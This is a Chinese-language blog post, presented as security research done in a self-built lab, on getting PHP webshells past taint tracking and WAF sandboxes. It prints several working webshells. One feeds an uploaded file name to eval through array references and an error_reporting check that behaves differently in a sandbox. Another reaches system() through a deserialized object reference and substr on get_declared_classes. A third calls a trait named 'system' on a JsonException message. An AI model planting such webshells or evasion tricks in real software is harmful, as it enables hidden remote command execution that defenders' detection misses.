免责声明 本文全部实验操作均在本人完全可控的自建本地靶场环境完成,文章仅用于网络安全原理学习与技术研究。根据《中华人民共和国网络安全法》,未经授权对任何第三方系统进行探测、命令执行、文件写入等操作属于违法行为。
严禁复制、使用本文中的 Payload、代码应用到未获得授权的设备上。若读者将文中内容用于非法用途,一切法律责任由行为人本人承担,与本文作者无关。
个人水平有限,如有不足欢迎指正。
摘要: 本文围绕 PHP 代码执行与污点追踪展开,先分析 parse_url()、error_reporting 配置差异以及上传文件名注入如何被用于构造 Webshell,再重点拆解两类绕过污点追踪的方式:一是通过反序列化对象引用复用,让污点赋值点与最终执行点分离;二是通过 Trait 名称可变函数配合 JsonException 等异常类的消息中转实现命令执行。
Array元素引用绕过污点追踪
parse_url()
PHP 内置函数:把一整条****URL 字符串,拆成各个组成部分,返回数组 。
$url = "http://test.com/usr/abc?a=1&b=2#foot";
$arr = parse_url($url);
print_r($arr);

<?php
$b = "111";
$c = "222";
if(get_cfg_var('error_reporting')>0){
$b="#";
}
$a = array( "one"=>$c,"two"=>&$c );
$url = "http://a/usr/".$b."?a=1";
$d = parse_url($url);
if($d['query']){
$c="echo 111;";
}else{
$c=$_FILES['useraccount']['name'];
}
var_dump($a["two"]);
eval($a["two"]);
?>
get_cfg_var('error_reporting')
读取php.ini 配置文件 里 error_reporting 的配置值,获取 PHP 错误报告级别数字。在一般的waf,或者沙箱模式下,大部分是关闭的,所以最终waf检查的是打印111,从而放行,所以可能存在差异化,让waf认为这个污点无害,而服务器上却是打开的,所以服务器端最终能执行到eval
在 URL 里叫:片段标识符**/** 锚点 ,浏览器 / HTTP 协议规则: **#**以及 # 后面所有内容,只给浏览器本地用,不会发给服务器;
解析 URL 时, # 后面全部不算查询参数。
#后面那一大串又叫fragment 片段。
实现
c=_FILES'useraccount''name';的值是什么
<?php
// 这里是PHP后端逻辑,放在最顶部
if($_SERVER['REQUEST_METHOD'] === 'POST'){
echo "<pre>";
$c = $_FILES['useraccount']['name'];
var_dump($c);
echo "</pre>";
}
?>
<!DOCTYPE html>
<html>
<body>
<!-- action="" 提交到当前自己这个php文件 -->
<form action="" method="post" enctype="multipart/form-data">
<input type="file" name="useraccount">
<button type="submit">提交上传</button>
</form>
</body>
</html>
是当前上传的文件名

于是将filename字段的值改为其他可执行代码即可


序列化 & 反序列化
什么是序列化(serialize ())
序列化:把 PHP 变量 / 对象, 转换成 PHP 自己定义的序列化格式字符串**,**方便存储、传输。
PHP中的数组、对象等数据结构在程序运行期间存在于内存中,无法直接保存到数据库、文件或网络传输,因此需要转换成可保存的数据格式,**serialize()**将内存数据打包成文本字符串。
<?php
$arr = ['name'=>'admin','age'=>18];
$str = serialize($arr);
echo $str;
输出:
a:2:{s:4:"name";s:5:"admin";s:3:"age";i:18;}
这里的 a、s、i 是 PHP 序列化格式中的类型标识符,后面的数字表示对应数据的信息。
- a: = array 数组,2代表 2 个元素
- s: = string 字符串,4字符串长度
- i: = int 数字
标记就是用来记录:这是什么类型、长度多少、有几个元素,方便反序列化的时候还原。
反序列化 unserialize ()
反序列化:把序列化后的字符串,还原回内存中的 PHP 变量 / 对象。
$str = 'a:2:{s:4:"name";s:5:"admin";s:3:"age";i:18;}';
$arr = unserialize($str);
var_dump($arr);
字符串变回数组,回到内存。
形象比喻
- 序列化:把家里家具(内存对象)拆成零件,打好包装(字符串),方便快递运输(存文件 / 数据库)。包装上面写标签(就是那些 a:2 s:4 序列号标记,记录零件类型、大小)。
- 序列化类似于给家具制作一份结构说明书,把家具的类型、组成信息记录下来,转换成可以运输的数据格式。
- 反序列化:收到快递包裹(字符串),看着标签,把零件重新组装回完整家具(内存对象)。
为什么要有这些标记(序列号)
如果没有标记,只存裸字符串
nameadminage18,反序列化的时候程序分不清:哪里是键、哪里是值、是数字还是字符串、数组有几个元素。
示例: s:4:"name"
s : string类型
4 :字符串长度
"name" :实际内容
反序列化函数靠这些数字标记,严格解析字符串,还原内存结构。
反序列化引用摆脱污点追踪
unserialize('a:2:{i:0;O:8:"stdClass":1:{s:1:"a";i:1;}i:1;r:2;}');
a :array 、 O : object s : string 、i : integer 、 r : 对象引用(reuse object reference)
结果
array(2) {
[0]=>
object(stdClass)#1 (1) {
["a"]=>
int(1)
}
[1]=>
object(stdClass)#1 (1) {
["a"]=>
int(1)
}
}
a:2:{...} --- 表示一个包含 2****个元素 的数组。
i:0;O:8:"stdClass":1:{s:1:"a";i:1;}:数组第一个元素(索引 0)是一个 stdClass 对象。该对象有 1 个属性,属性名**"a",属性值 int(1)。**
i:1;r:2;:数组第二个元素(索引 1)是 r:2;。r 表示 引用( reference ) ,指向之前已经序列化的第 2 个变量(从 1 开始计数)。第 1 个变量是数组本身,第 2 个变量是索引 0 的那个 stdClass 对象。
因此,array\[1\] 是 array0 的 引用 ,它们指向 同一个对象实例 。
webshell
<?php
$s=
unserialize('a:2:{i:0;O:8:"stdClass":1:{s:1:"a";i:1;}i:1;r:2;}');
$c = "123";
$arr= get_declared_classes();
$i=0;
for($i;$i<count($arr);$i++){
$i++;
$s[1]->a=$_GET['a'];
if($i<97 || $i>=98){
continue;
}
$c=$s[0]->a;
print(substr(get_declared_classes()[112],4,6)($c));
}
?>
s\[1\]-\>a=_GET'a';如果检测引擎检测不到类的引用,那么只会追踪s\[1\]-\>a,**通过反序列化,将数组s0 s\[1\]两个元素绑定在一起**,而执行使用的是s0->a,于是绕过检测引擎追踪,构成差异化。
get_declared_classes :返回由已定义类的名字所组成的数组,
<?php
echo "<pre>";
var_dump(get_declared_classes());

c=s0->a; :从数组 s 的第一个元素(索引0)所指向的对象中,获取其属性 a 的值,并赋值给变量 c。
而substr(get_declared_classes()112,4,6)截取的也就是system,后面跟着($c)

利用

Trait 名称字符串利用(可变函数 RCE)
自定义 trait,将 trait 名称设置为危险函数名,借助get_declared_traits()拿到 trait 名字符串,利用 PHP 可变函数特性实现命令执行。
trait system{}:自定义 trait,名字叫system



<?php
trait system{
}
$a= new JsonException($_GET['a']);
$c = "123";
$arr= getmygid();
$i=0;
for($i;$i<$arr;$i++){
$i++;
if($i<115 || $i>=116){
continue;
}
$c=$a->getMessage();
print(get_declared_traits()[0]($c));
}
new JsonException(...)

new 用于创建一个对象 。JsonException 是 PHP 内置的异常类。
new JsonException($_GET['a'])
使用 _GET\['a'\] 作为参数,创建一个 JsonException 对象。然后把创建出来的对象赋值给:a
所以最终:a保存的是一个 JsonException 对象,而不是 _GET'a' 原始字符串。
JsonException 本身继承自 Exception,它的构造函数可以接收异常消息:new JsonException("hello"),相当于创建一个异常对象,这个对象内部会保存:message = hello。
因此:a = new JsonException(_GET'a');可以简单理解为:
从用户输入获取 a 的值,并把这个值作为异常对象的 message ,创建一个 JsonException 对象。
$c = $a->getMessage();
调用
$a对象的getMessage()方法,获取这个异常对象中保存的 message(错误消息),然后赋值给$c。


PHP 全部预定义异常类(Exception、ErrorException、AssertionError等)均可实现该中转效果。构造函数第一个参数会保存到私有message,通过getMessage()读取;仅实例化不抛出异常,程序可继续执行,用来传递可控字符串。

